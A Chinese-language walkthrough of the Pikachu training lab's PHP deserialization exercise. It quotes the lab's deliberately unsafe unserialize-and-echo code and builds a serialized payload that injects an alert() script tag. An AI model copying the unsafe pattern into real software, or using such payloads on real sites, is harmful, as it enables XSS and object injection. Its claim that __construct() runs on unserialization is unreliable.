Pikachu 反序列化靶场
源码分析
核心代码
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
-
$s
接收上传的参数$s = $_POST['o'];
-
判断是否能够被反序列化,即上传的参数是否经过序列化
if(!@$unser = unserialize($s))
-
如果上传的序列化后的参数,将上传的数据反序列化后,自动执行魔术方法
__construct()
,$unser->test
用来输出反序列化后对象的test
属性的值到页面上
构造 Payload
<?php
class S{
var $test = "<script>alert(/gjl/)</script>";
}
// 创建一个对象
$s=new S();
// 把这个对象进行序列化输出
print_r(serialize($s));
?>
将 *
替换回 <
O:1:"S":1:{s:4:"test";s:29:"<script>alert(/gjl/)</script>";}
提交执行